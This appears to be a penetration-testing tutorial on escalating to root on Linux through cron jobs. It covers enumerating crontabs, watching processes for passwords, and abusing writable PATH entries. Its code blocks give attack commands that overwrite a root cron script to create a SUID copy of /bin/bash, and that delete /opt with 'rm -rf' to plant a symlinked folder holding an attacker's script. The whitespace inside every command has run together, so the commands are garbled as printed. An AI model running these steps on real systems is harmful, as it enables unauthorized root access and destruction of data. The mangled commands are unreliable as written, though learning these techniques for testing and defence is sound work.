Cron is a job scheduler in Unix-based operating systems. Cron Jobs are used for scheduling tasks by executing commands at specific dates and times on the server.
By default, Cron runs as root when executing /etc/crontab, so any commands or scripts that are called by the crontab will also run as root. It can be an intresting privelege escalation path.
Practice
Misc Cron Jobs
You may want to enumerate cron jobs with the following commands
#Print jobs with Crontab binarycrontab-lcrontab-l-uusername#Directly cat filescat/etc/cron*/etc/at*/etc/anacrontab/var/spool/cron/crontabs/root2>/dev/null|grep-v"^#"#From logscat/var/log/syslog|grep"CRON"#In /etc/ and subfolderscat/etc/crontabcat/etc/cron*/*# In /var/spoolcat/var/spool/cron/*cat/var/spool/cron/crontabs/*
By using pspy, you can fetch processes without root privileges. It can be useful to detect cron jobs.
# -p: print commands to stdout# -f: print file system events to stdout# -i: interval in milliseconds./pspy64-pf-i1000
It is also possible to monitor processes using the watch command. For example, we can grep on all occurrences of the word "pass". We may find clear-text credentials like that.
watch-n1"ps -ef | grep pass"
Cron Path
For example, inside /etc/crontab you can find the PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
We need to check if we have permissions to write on each path, if a the binary in the cron job is specified without the full command path, we may be able to exploit it.
We need to check if we have permission to write each path.
ls-al/usr/local/ls-al/usr/ls-al/
Assume we can write an arbitrary binary file under /home/user, and its specified in the crontab PATH as in the example. We can create a payload in there.
If we have write permissions on the script, we can exploit by overwriting it:
#Check you have permissionsls-la/opt/crons/overwrite.sh#Overwriteecho'cp /bin/bash /tmp/bash; chmod +s /tmp/bash'>/opt/crons/overwrite.sh#Wait until it is executed/tmp/bash-p
If we have full access over the directory, maybe it could be useful to delete that folder and create a symlink folder to another one serving a script controlled by you
#Check you have permissionsls-la/#Remove folder and create the symlink targetrm-rf/optmkdir/tmp/crons#Create a new scriptecho'cp /bin/bash /tmp/bash; chmod +s /tmp/bash'>/tmp/crons/overwrite.sh#Create symlinl folderln-d-s/tmp/crons//opt/crons/